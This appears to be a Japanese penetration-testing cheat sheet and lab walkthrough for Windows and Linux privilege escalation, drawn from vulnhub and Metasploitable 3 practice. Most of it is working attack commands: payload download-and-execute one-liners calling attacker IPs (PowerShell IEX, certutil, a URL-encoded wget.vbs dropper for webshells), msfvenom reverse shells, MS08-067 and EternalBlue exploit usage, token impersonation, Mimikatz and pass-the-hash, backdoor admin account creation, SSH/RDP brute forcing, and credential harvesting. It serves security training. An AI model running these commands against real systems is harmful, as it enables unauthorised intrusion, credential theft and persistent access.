  • powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1')"
  • meterpreter
    • upload evil_trojan.exe c:\\windows\\system32
    • download c:\\boot.ini
  • certutil.exe -urlcache -split -f http://10.11.0.11/exploit/windows/reverse-shell4445.exe reverse-shell4445.exe
  • powershell empire
    • upload /tmp/launcher.bat
  • cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
echo+strUrl+%3D+WScript.Arguments.Item%280%29+%3E+wget.vbs+%26+echo+StrFile+%3D+WScript.Arguments.Item%281%29+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DEFAULT+%3D+0+%3E%3E+wget.vbs+%26++echo+Const+HTTPREQUEST_PROXYSETTING_PRECONFIG+%3D+0+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DIRECT+%3D+1+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_PROXY+%3D+2+%3E%3E+wget.vbs+%26+echo+Dim+http%2C+varByteArray%2C+strData%2C+strBuffer%2C+lngCounter%2C+fs%2C+ts+%3E%3E+wget.vbs+%26+echo+Err.Clear+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest.5.1%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22MSXML2.ServerXMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22Microsoft.XMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+http.Open+%22GET%22%2C+strURL%2C+False+%3E%3E+wget.vbs+%26+echo+http.Send+%3E%3E+wget.vbs+%26+echo+varByteArray+%3D+http.ResponseBody+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+fs+%3D+CreateObject%28%22Scripting.FileSystemObject%22%29+%3E%3E+wget.vbs+%26+echo+Set+ts+%3D+fs.CreateTextFile%28StrFile%2C+True%29+%3E%3E+wget.vbs+%26+echo+strData+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+strBuffer+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+For+lngCounter+%3D+0+to+UBound%28varByteArray%29+%3E%3E+wget.vbs+%26+echo+ts.Write+Chr%28255+And+Ascb%28Midb%28varByteArray%2ClngCounter+%2B+1%2C+1%29%29%29+%3E%3E+wget.vbs+%26+echo+Next+%3E%3E+wget.vbs+%26+echo+ts.Close+%3E%3E+wget.vbs

Webshellが設置できると、このワンライナーwebshell.php?cmd=echo+....みたいにすることで、wget.vbsを作成する
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

echo $storageDir = $pwd >wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://[kali ip]/[file]" >>wget.ps1
echo $file = "[file]" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
  • smbserver.py a /usr/share/windows-binaries/
    Kali上でImpacketのsmbserver.pyを使用することで、445ポート上にSMBサーバーを立ち上げる。
    windowsからは\\10.10.14.25\a\whoami.exeなどでローカルにあるようにコマンドを実行できる。
    dir,copyなども可能。
    また、Windowsから接続してきた際のsmbserver.pyのログから現在のWindowsのユーザーのハッシュが取得できる可能性がある。
    blog.ropnop.com

有名なExploit

MS08-067(netapi)
  • python ms08-067-modi.py 10.10.10.1 7 445
    msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows --var-name shellcode
    でカスタムペイロードを作成して、shellcodeの中身を変更して実行。
    わかりやすい。
Usage: ms08-067-modi.py <target ip> <os #> <Port #>

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)

github.com
www.exploit-db.com
www.exploit-db.com

MS17-010(eternal blue)
  • python ms17-010-zzz.py -t 10.11.1.1 -c "net user" -u root -p root
    使用できる名前付きパイプが見つからない、みたいなエラーが発生する場合は、以下のスクリプトでusernameとPasswordを適当に設定する必要がある。
    名前付きパイプは、
    use auxiliary/scanner/smb/pipe_auditor
    で使用可能なものを列挙できる。
    /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
    に名前付きパイプのWordlistがある。
    -cで任意のコマンドをSYSTEMとして実行できる。
    github.com
  • python zzz_exploit.py -t 10.11.1.75 -u root -p root -c "cmd"
    以下のスクリプトでもコマンドを実行できたが、FirewallによってOutboundが制御されている場合は実行に失敗した。(気のせい?)
    github.com
  • python send_and_execute.py 10.11.1.1 reverse-shell.exe
    usernameやPasswordを設定しなくてもコマンドが実行できるなら、これでReverse shellを得られる。
    github.com

  • use auxiliary/admin/smb/ms17_010_command
    Metasploitでコマンドを実行できる。

  • use exploit/windows/smb/ms17_010_eternalblue
    MetasploitでReverse shellを得られる。

Abusing Token

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getprivs 

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege

Meterpreter上でload incognitoで利用・偽装可能なトークンを列挙できる。
Administratorに昇格できる場合がある。

meterpreter > load incognito 
Loading extension incognito...Success.
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
BUILTIN\Administrators
BUILTIN\Guests
BUILTIN\Performance Log Users
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NETWORK
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization

Impersonation Tokens Available
========================================
No tokens available

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

PowershellでTokenを操作できるスクリプトがあるらしい。
https://hacknpentest.com/privilege-escalation-through-token-manipulation/hacknpentest.com

Post Exploit

  • Mimikatz
    Active Directoryで管理されている組織のネットワークに所属するホストの場合は、ネットワーク管理者による管理を円滑にするために、複数の端末で共通のパスワードが設定された状態でアカウントが有効化されている場合が多い。
    よって、SYSYEMを取得したあとは、ホストに保存されているNTLMハッシュのダンプして、PassTheHashによって同じパスワードを使用している、同じネットワーク内の別のホストへと横移動できる
    Mimikatzは実行に管理者権限を必要とする
    Invoke-Mimikatz -DumpCreds,Seatbelt.exeで確認
  • Pass the Hash

    • fgdump.exe
    • wce32.exe -w
    • python psexec.py Administrator:password@10.11.1.1
      資格情報が得られた場合はImpacketのPsExecモジュールでログインできるかも。
    • python wmiexec.py -hashes :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Administrator@10.11.1.1
      hashが得られている場合はImpacketのwmiexecモジュールでPTHできるかも。
      :aaa...とすることでLMハッシュを省略。
      www.hackingarticles.in
      blog.ropnop.com
  • add backdoor

    • net user backdoor pass /add
    • net localgroup administrators backdoor /add
      todo!!
      以下を参照
      github.com

参考文献

PEの方法を非常に丁寧に書いてあってわかりやすい。
github.com
www.fuzzysecurity.com
github.com
sushant747.gitbooks.io
github.com

vulnhub 調査方針メモ

WindowsのPrivilegeEscalationと調査方針のメモです。
自分用のチートシートも兼ねているので、見にくかったり適当なのはご容赦ください。

Linux のPrivilege EscalationとInformationGatheringは以下に雑にまとめています。
7万字を超えたあたりからレスポンスが遅くなって編集しづらいので分割しました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたWindowsPEは以下を参照してください。

kakyouim.hatenablog.com

調査の順番

Information Gathering

  • scan

    • portの正確なEnum(tcp,udp)
    • 各portで動いているサービスのバージョンの特定(可能であれば)
      見たことなければ参照。あっても参照した方がいいかも。
      sushant747.gitbooks.io
    • Webserverのバージョン特定
    • Web Applicationの特定
      • 使われているCMSのバージョンの特定
      • windowsならwamp,xwampの特定
      • PHPのバージョンなどの特定
      • LinkされていないURLの特定
      • databaseのバージョンの特定

    • python3 autorecon.py 192.168.56.5
      とりあえずAutoReconを実行しておく
      ただしnmapやniktoを使うので出力に時間がかかる
      AutoReconUDPスキャンも確認する
      _quick_tcp_nmap.txtがhost downになっていると失敗しているので、AutoReconを再度やり直す。
      nmap -vv --reason -Pn -sV -sC --version-all 10.11.1.1を実行している。(1000portをdefault categoryでScan)
    • bash onetwopunch.sh -t target.txt -p tcp -i tap0
      nmapに比べて圧倒的に早い
    • bash onetwopunch.sh -t target.txt -p udp -i tap0
      UDPでも行う
    • nmap 192.168.56.5 --top-ports 10 -open
      情報は少ないが、一瞬で列挙できる.
      ftp, ssh, telnet, smtp, http, POP3, netbios-ssn, https, microsoft-ds, ms-wbt-server
      を確認。
      nmap 192.168.56.5 --top-ports 100 -open
      も実行。
      nmap -p- -sV -sT -A 192.168.56.13
      -p-をすると時間がかかるが、AutoReconで漏れがあることが稀にあるので実行しておく。
      ポートスキャンでは絶対にEnum漏れはダメなのでnmap以外でも試したり、二重に確認する
    • nikto -h 192.168.56.5
      時間がかかるためとりあえず早めに実行しておく
    • gobuster -u http://192.168.56.5/ -w /usr/share/dirb/wordlists/big.txt -s '200,204,301,302,307,403,500' -e
      dirbwfuzzよりも速い
      ディレクトリが見つかれば再度その中でgobuster
      -kオプションでhttpsinvalid certificateのerrorを回避。
    • curl -v 192.168.56.5
      ヘッダの情報などを確認
    • curl 192.168.56.5 -s -L | html2text
      レンダリング
    • enum4linux -a 10.11.1.1
      AutoReconでも実行するが出力内容が違うことがある(??)ので手動でも実行。
      Sambaのバージョンが特定できていない場合はsmbver.shuse auxiliary/scanner/smb/smb_versionを使用。
      bash smbver.sh 10.11.1.1 139
    • python3 parsero.py -u 192.168.56.5
      robots.txtに書かれているDisallowの場所を調べる

  • user,password listの作成
    列挙した情報から得られたユーザー名などをメモする
    マシンのホスト名もWordlistに加える。

  • portの詳細な調査
    あやしいものなどはtodoやMemoとして追加していく
    上に行くほど優先度が高くなるように順次入れ替えなどを行う
    各ポートの詳しい調査は以下を参照。
    github.com
    • 80 port (30分)

      • Burp Spiderを使ってSpideringする。Applicationの特定につながるかも
      • Sorce codeを読んでApplicationやCMSの特定
      • AddOnやModuleの確認
      • Install.txtなどの設定やVersionが読み取れるファイルにアクセスできるか確認
      • LoginでデフォルトLogin、SQLInjetionできるか確認
      • nmap -vv --reason -Pn -sV -p 80 --script="banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" 10.11.1.0
        AutoReconが列挙漏れした場合、Nmapは手動で行わないといけない。
      • その他の挙動など
        そのほかのポートも時間を決めて調査する。Exploitはまだ探さない(すべてを列挙する必要がある)
    • 110(POP)

      • Banner の取得
        これ結構大事(な気がする)
        そのポートの挙動を大体把握する必要がある
        • telnet 192.168.56.5 110
          telnetでUSER PASSなどでログインできるのかなど
      • NSE script
      • Metasploit
      • other tools
    • **22(ssh)
      • Bannerの取得
        password認証?公開鍵認証?既知のFingerprint?
    • 139/445(smb)
      OSのバージョン、Sambaのバージョンの両方の特定
  • exploitの検索
    • Google
      大事
    • searchsploit aaaa | grep -vi 'dos' | grep -vi 'windows'
      今まで得られた情報(ポートで動いているSoftwareのバージョンなど)の中のあり得るすべてのExploitを探して、その中から明らかにExploitが存在しないものを除外していく。


Exploit

  • 目標
    • SSHのBrute forceを確認(password,pubkey)
    • FTPのBrute forceを確認
    • RDPのBrute forceを確認
    • web server loginページのBrute forceを確認
  • IGで見つけたexploitを試してみる
    優先度が高いものから順に30~90分の時間で動くかどうか確認する。
    動かす前に必ずどういうExploitか確認。
    対象のOSは?? remote/local/dos ?? unix/linux/windows ??
    自分で書いていないコードを読んでいるとき、すべての行にコメントを追加すると理解しやすい
    それっぽい脆弱性が見つかれば、nmapのScriptを使って確認するの良さそう
    Reverse shell payloadを試す前に、Payloadが実行できるのかどうかを確認する(payloadが違うのかFirewallがあるのかなどの原因を特定しやすくする)
    windows用のバイナリをクロスコンパイルするときは、
    i686-w64-mingw32-gcc test.cpp -o test.exe -lws2_32
    -lws2_32Windowsでソケット通信を行うのに必要なライブラリを指定してコンパイル
    wine test.exeで実行する。

  • wordlistの作成

  • ssh Brute force
    • hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
    • hydra -e nsr -L user -t 4 192.168.56.16 ssh
    • hydra -L user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
    • python crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
  • rdp Brute force
    • ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5

Windowsの場合

privilege escalation

Information Gathering(Enum)

  • powerless.bat
    accesschk.exeをアップロードしてから実行するとよい
  • Sherlock.ps1
  • Session Gopher.ps1
  • JAWS
  • WindowsEnum.ps1
  • PowerUp.ps1
  • beRoot
  • windows-privesc-check2.exe
  • windows-exploit-suggester.py
  • Find-PathDLLHijack.ps1
  • Seatbelt.exe
  • SharpUp.exe
  • Metasploit
    • use post/multi/recon/local_exploit_suggester
    • exploit/windows/local/service_permissions
    • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.11.0.1
set lport 4444
  • Manual
    • systeminfo
    • net user
      • net user john
    • net localgroup
      • net localgroup administrators
    • accesschk.exe -ucqv wampapache
      Serviceのレジストリキーへの権限を確認。
    • sc qc upnphost
      Serviceのレジストリキーの値を確認。
      SERVICE_START_NAMEでサービスがどの権限で起動しているかわかる(??)
    • sc sdshow wampapache
      Serviceに対する権限(WP:停止,RP:起動)を確認。
    • autorunsc.exe -a | findstr /n /R "File\ not\ found"
      自動起動するようなサービスで、その実行ファイルが存在しないようなサービスがないか確認。



      これらのツールを使ってまずは以下をざっくりと調べる
      深追いはしない。怪しければTodoに優先度順に追加していく

  • Powershellが使える場合(Windows 7 / Windows Server 2008 R2 以降)
    Empireは実行が遅いやつがあるので、あらかじめ決めておいたScriptのみ実行。あとはExeをUploadするために使う。
    certutil.exe -urlcache -split -f "http://10.11.0.11/exploit/windows/launcher.bat" launcher.bat
    でStagerをUploadして実行。
    spawn lister名
    で一つのSessionは残しておく(実行中にSessionが切れたら嫌なので)。
    upload /var/www/html/priv/windows/Accesschk/accesschk.exe
    upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
    で調査に必要なバイナリをUploadしておく。
    upload /var/www/html/exploit/windows/reverse-4445.exe
    で、meterpreterを使いたいならUploadして実行する。
  • Powershellが使えない場合
    tftpなどを使うことになる。
    以下から紹介するツールのPSスクリプトが実行できないので、足りない場所は手動で補う。
    system
  • powerless.bat
------ System Info (Use full output in conjunction with windows-exploit-suggester.py)-------
----- Architecture -------


echo %PROCESSOR_ARCHITECTURE%
OSの名前やバージョンやx86かx64か。
powerless.batJAWS, systeminfo,Seatbelt.exeで調べる
XP SP1ならupnphostのBINARY_PATHを書き換えられる脆弱性がある可能性
Windows Vista / 7/8ならIKEEXTなどの存在しないDLLを読み込もうとする脆弱性の可能性

Users

powerless.bat

------ Users and groups (check individual user with 'net user USERNAME' ) Check user privileges for SeImpersonate (rotten potato exploit) -------

USER INFORMATION
----------------

GROUP INFORMATION
-----------------

--- All users, accounts and groups ---

------- Administrators --------

jaws

-----------------------------------------------------------
 Users
-----------------------------------------------------------

Seatbelt.exe,JAWSなどで調べる
net user,net localgroup,net localgroup "Remote Desktop Users"
自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
RDPできるユーザーも確認

Network

powerless.bat

------- Network shares -------

------- Firewall ------

------ Network information ------

------- Current connections and listening ports -------
Privilege

powerless.bat

PRIVILEGES INFORMATION
----------------------

powerless.bat,SharpUp.ps1,Seatbelt.exeなどで注目すべき権限を持っているかどうか確認
SeImpersonatePrivilegeを持っていてx64の場合、Juicy Potatoが有効

環境変数のチェック

powerless.bat

------- Environment Variables -------

Seatbelt.exeなどで確認
PATHに書き込みができる場合は、DLLHijackやフルパスでないコマンドの実行などいろいろ悪用できるためチェックしておく
Find-PathDLLHijackを使っても確認できる

Process

jaws

-----------------------------------------------------------
 Processes
-----------------------------------------------------------

JAWS,Seatbelt.exeで確認
手動では

tasklist /v /fi "username eq system"
tasklist /v
Services

powerless.bat

------- Services Currently Running (check for Windows Defender or Anti-virus) ---------

JAWS,Seatbelt.exeで確認

手動では、

tasklist /SVC
wmic service list brief
net start
Sceduled Tasks

powerless.bat

------- Scheduled Tasks Names Only -------

jaws

-----------------------------------------------------------
 Scheduled Tasks
-----------------------------------------------------------

JAWSで確認
SYSTEMで実行されて、上書き可能なものを探す。

手動では、

schtasks /query /fo LIST /v
writiable
file/Directory

powerless.bat

--- Program Files and User Directories where everybody (or users) have full or modify permissions --- 

jaws

-----------------------------------------------------------
 Files with Full Control and Modify Access
-----------------------------------------------------------

-----------------------------------------------------------
 Folders with Full Control and Modify Access
-----------------------------------------------------------

-----------------------------------------------------------
 Potentially Interesting Files in Users Directory 
-----------------------------------------------------------

beRoot,powerless.bat,PowerUp.ps1のInvoke-AllChecks,SharpUp.exe
SharpUp.exePATH変数に含まれるディレクトリに書き込めるかも確認
できるならDLLHijackの可能性が残る

Service

powerless.bat

--------------- AccessChk (checks permissions for Authenticated Users, Everyone, and Users)------------------
--- Accesschk World writeable folders and files ----
 --- Accesschk services with weak permissions --- 
 --- Accesschk services that we can change registry values for (such as ImagePath) --- 

PowerUp

[*] Checking service executable and argument permissions...


[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable DLL locations...

[*] Checking for modifidable registry autoruns and configs...

[*] Checking for modifiable schtask files/configs...

windows-priv-check

------------------------------------------------------------------
Title: DLLs Used by Running Processes Can Be Modified On Disk

------------------------------------------------------------------
Title: Windows Service Executable Is Missing
  • SharpUp.exe

  • accesschk.exe -ucqv wampapache

  • **Process**,**Services**で、SYSTEMなどの昇格できるユーザーで動作しているサービスに対しては価値があるので書き込みができるかどうか確認
    それ以外の低権限のサービスは見ない
    `RW`が**NT AUTHORITY\Authenticated Users**などに与えられているか確認
  • Get-Acl -Path HKLM:\System\CurrentControlSet\Services\regsvc

  • また、レジストリキーが書き込み可能なら、`ImagePath`などを書き換えることができる
unquoted file path

powerless.bat

---Unquoted Service Paths (requires that the directory from which this script is run is user writeable. If it is not, you can use the WMIC command below) ---
  • JAWS

  • wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

  • 引用符で囲まれていないかつ、PATHに空白を含む場合、PATHの途中にバイナリを設置してそれを実行させられる
AlwaysInstallElevated

powerless.bat

--- AlwaysInstallElevated Check --- 

SharpUp.exe1かどうか確認

Get System

beRoot,Get-System -Technique NamedPipeで確認

Credential
  • stored credentials
  • powerless.bat
    -- Stored Passwords --
    -- Checking for any accessible SAM or SYSTEM files --
    --- Searching Registry for Passwords ---
    
    • cmdkey /list
  • Autologon
  • `PowerUp.ps1のInvoke-AllChecks`,`JAWS`,`Seatbelt.exe`
  • config files
  • powerless.bat
    ---Search for Configuration and sensitive files---
    -- Broad search for config files --
    --- Broad search for any possible config files which may contain passwords ---
    
    手動では、
    dir /s /b /a C:\ | findstr /i 'pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml'
    dir /s /b /a C:\ | findstr /i "pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml
    
  • Install Files
  • powerup
    [*] Checking for unattended install files...
    
    • SharpUp.exeで確認
    • type C:\Windows\system32\sysprep.inf
    • type C:\Windows\system32\sysprep\sysprep.xml
    • where C:\sysprep.inf
    • where C:\sysprep\sysprep.xml
    • where %WINDIR%\Panther\Unattended.xml
    • where %WINDIR%\Panther\Unattend\Unattended.xml
  • セッション情報

  • `Seatbelt.exe`,`Session Gopher`
  • Installed Software

    • Web root
      • C:\wamp\www\PHP>type config.php
    • Others
    `jaws`の
    -----------------------------------------------------------
     System Files with Passwords
    -----------------------------------------------------------
    
    `PowerUp`の
    [*] Checking for encrypted web.config strings...
    
    [*] Checking for encrypted application pool and virtual directory passwords...
    
    [*] Checking for plaintext passwords in McAfee SiteList.xml files....
    
    [*] Checking for cached Group Policy Preferences .xml files....
    
    • Sealbelt.exeで確認
    • type wampmanager.ini | find /I "password"
    • where Services.xml
    • where ScheduledTasks.xml
    • where Printers.xml
    • where Drivers.xml
    • where DataSources.xml
    • C:\Devtoolsのような開発者のコメントが見込める場所
    • `.ini`,`.config`,`.xml`,`.txt`などのファイルを見る
      効果的な見方(目星の付け方など)はよくわからない
      ざっと見て特になかったら後回しにしてもよさそう
    • C:\Windows\System32>dir /s *pass* == *cred* == *vnc* == *.config*
    • C:\Windows\System32>findstr /si password *.xml *.ini *.txt
    • C:\Windows\System32>reg query HKLM /f password /t REG_SZ /s
    • これらは後回しにして後でじっくり見た方がよさそう
Kernel Exploit
  • python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
    この中からPEできそうなExploitを選ぶ
    Patch未適応なものをEnumしてるだけなので、PEとは無関係なExploitもあるため見極める(todo)
  • searchsploit windows microsoft privilege escalation | grep -vi 'dos' | grep local | grep -vi 'x86-64' | grep '\ 7\ '
    実行する際に以下を参考にする
    github.com
  • use post/multi/recon/local_exploit_suggester
    metasploitを使えばExploitの実行にほぼ時間はかからないので、ちゃっちゃとやるのもありといえばあり(?)
  • Google
    ググるのも大事
    以下にいろんなコンパイル済みのバイナリがある。
    ありがてえ……!!!
    github.com
Drivers
  • DRIVERQUERY
    量が多すぎるので後回し
    Programs

    powerless.bat

-------- Exploring program directories and C:\ ---------
--- Program Files ---
--- Program Files (x86) ---
--- Root of C:\ ----

jaws

-----------------------------------------------------------
 Installed Programs
-----------------------------------------------------------

windows-priv-checks

------------------------------------------------------------------
Title: Vulnerable Software Version Installed

powerless.bat,JAWSで確認
TODO

その他

怪しいファイルに読み込み権限しかない場合、コピーしてradare2などで解析して、フルパスではなく呼び出されているようなコマンドなどを調べる。
その場合、PATH変数のディレクトリに書き込むことで任意の実行ファイルを実行させる

これらを見ても見つからない場合、以下を参照していく

github.com

post exploit

  • Pass the Hash
    • fgdump.exe
    • wce
    • use post/windows/gather/hashdump
      todo

Linuxの場合

privilege escalation

Information Gathering(Enum)

  • 情報収集

    • LinEnum.sh
    • linuxprivchecker.py
    • suid3num.py
    • linpeas.sh
    • lse.sh
    • uptux.py

      これらのツールを使ってまずは以下をざっくりと調べる
      深追いはしない。怪しければTodoに優先度順に追加していく
    • system
      linpeas.sh
      Kernel versionなど
      3.3.0などの低い状態であればKernel Exploitが期待できる
    • Users
      linpeas.sh
      userからデフォルトではないユーザー名、その権限で動くSoftwareがわかる
      /etc/passwd,/etc/profileなどのユーザー名やクレデンシャルをWordlistに追加する
    • cron
      linpeas.sh
    • network
      linpeas.sh,linEnum.sh
      iptables -LなどでFirewallによって外部からは見えないようなサービスが動いていないか確認(mysqlなど)
    • process
      linpeas.sh,LinEnum.sh
      怪しい場所(/opt/など)で動作しているプロセスがないか確認
    • SUID/SGID
      linpeas.sh,suid3num.py
      Defaultでビットが立っていない実行ファイルなどを確認
    • Software
      linpeas.shで入っているサービスを確認できる
    • sudo/mysql version
      これらのバージョンを確認
    • config files
      LinEnum.sh
      設定ファイル(sshd_confなど)を確認する
      find -iname '*config*'
      などで/var/www/htmlやその他のSoftwareの設定ファイルを探す
      クレデンシャルが書いてあることもある
      • cat /etc/ssh/sshd_config
        • PasswordAuthentication
        • PermitRootLogin
        • RSAAuthentication
        • PubKeyAuthentication
        • AuthorizedKeysFile
          等を確認してパスワードBruteForceができるのか確認。
          秘密鍵がないかどうか確認
    • writable files/directories
      linpeas.sh
      rootが所有者でその他が書き込める実行ファイルがないかどうか確認
    • credential/password
      linpeas.sh
      find . | xargs grep "password"
      などで探す
      Web rootやその他のSoftwareがある場所で行う

      • find -iname '*config*'
      • cat /etc/passwd
      • grep -vE "nologin|false" /etc/passwd
      • mysql -h 127.0.0.1 -u root -p
        databaseから得られたハッシュをjohnなどでクラック
        cewlで得られたWordlistでもクラックする
    • /opt, /var, /home/user, /usr/src, /usr/local/src, /mediaを確認
      これらの場所でSoftwareが動いていないかなど確認

    • sudo -l / su
      自分がsudoできるのかどうかは絶対に確認
      得られたクレデンシャルでsuでほかのユーザーに昇格できるか試す
      他のユーザーならsudoできる可能性は高い
  • Enum Kernel Exploit

    • kernelpop
    • linux-exploit-suggester.sh
    • Linux_Exploit_Suggester.pl
    • linux-exploit-suggester-2.pl
    • BeRoot
    • auto_priv_exploit.sh
      これはKernelバージョンと調べて、Kaliで動かす
      github.com

    • searchsploit
      • searchsploit kernel local privilege escalation linux | grep -vi 'x86-64' | grep -i '\ 3.' | grep -vi '<\ 3.1'
    • Google
      これらの中から最も動きそうなものを2~3個までなら試す。
      深追いしない
      対象上でコンパイルする方がよい。
      実行する時、Shellはできるだけ良いものがよい

Exploit

  • 得られたクレデンシャルで別のユーザーとしてログイン試行

    • hydra -l root -P wordlist.txt -t 4 192.168.56.16 ssh
  • コマンドの悪用

    • sudo -l
      gtfobins.github.io
      SUID, SGIDが立っている怪しい実行ファイルはExploitを確認
  • Exploit Software

    • Linpeas.sh
      [Services]にあるサービスのバージョンを確認する
    • ps -aux
      • /var/
      • /opt/
      • /usr/src/
      • /usr/local/src
      • /home/user/
      • /media/ など変な場所にInstallされているソフトは怪しい
    • cat /etc/passwd
      UIDが1000以上のユーザーが登録されている場合、そのユーザーで動作するソフトがInstallされているかもで怪しい
    • netstat -antup
      Firewallによって外部からは見えないようなソフトが動いていないかどうか確認
    • dpkg -l
    • rpm -qa
  • Exploit Kernel
    上記のツールで得られたExploitを試す
    searchsploitも試す

    post exploit

  • ifconfig
    IPやNICをほかにもっていないかを見て、他のNetworkにつながっていないかどうか確認
  • /.ssh/id_rsa
    秘密鍵があればコピーしておく
    別のマシンにこの秘密鍵を使って公開鍵認証でSSHログインできるかも
  • cat /etc/shadow
    /etc/passwd/etc/shadowはコピーしてクラックしておく
    同じPasswordが別のマシンで使われているかも
  • /tmp/krb5*
    Kerberosチケットの取得。
  • /home/*/.gnupg/secring.gpgs
    PGP Keyの取得。

最後に

参考になれば幸いです。
この記事はどんどんアップデートして付け足していくので、時間がたったら内容がだいぶ変わってると思います。
なんかアドバイスとかあればぜひ!

Metasploitable 3:攻略ノススメ

ポートスキャン

  • nmap -p- -sV -sT -A 192.168.56.35
    f:id:kakyouim:20200216163731p:plain
    f:id:kakyouim:20200216163744p:plain
    f:id:kakyouim:20200216163757p:plain
  • python3 autorecon.py 192.168.56.35
  • cat notes.txt
[*] ftp found on tcp/21.
[*] ssh found on tcp/22.
[*] http found on tcp/80.
[*] ssl/appserv-http found on tcp/4848.
[*] http found on tcp/8022.
[*] http found on tcp/8080.
[*] ssl/http found on tcp/8383.
[*] wap-wsp found on tcp/9200.
[*] msrpc found on tcp/49153.
[*] msrpc found on tcp/49154.
[*] java-rmi found on tcp/49160.
[*] tcpwrapped found on tcp/49161.
[*] snmp found on udp/161.
[*] java-rmi found on tcp/1617.
[*] http found on tcp/5985.
[*] http found on tcp/8020.
[*] unknown found on tcp/8027.
[*] http found on tcp/8282.
[*] http found on tcp/8484.
[*] http found on tcp/8585.

Webサービスの調査

80ポートの調査

  • nikto -h 192.168.56.35:80
    とくになし
    f:id:kakyouim:20200216163901p:plain

    5985ポートの調査

  • nikto -h 192.168.56.35:5985
    f:id:kakyouim:20200216164028p:plain

8020ポートの調査

  • nikto -h 192.168.56.35:8020
    f:id:kakyouim:20200216164109p:plain
    f:id:kakyouim:20200216164124p:plain
  • wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8020/FUZZ
    f:id:kakyouim:20200216164223p:plain

8020ポートの調査

  • nikto -h 192.168.56.35:8022
    f:id:kakyouim:20200216164322p:plain
    f:id:kakyouim:20200216164340p:plain
    f:id:kakyouim:20200216164355p:plain

8080ポートの調査

  • nikto -h 192.168.56.35:8080
    f:id:kakyouim:20200216164434p:plain
    f:id:kakyouim:20200216164446p:plain
    f:id:kakyouim:20200216164500p:plain
  • wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8080/FUZZ
    f:id:kakyouim:20200216164522p:plain

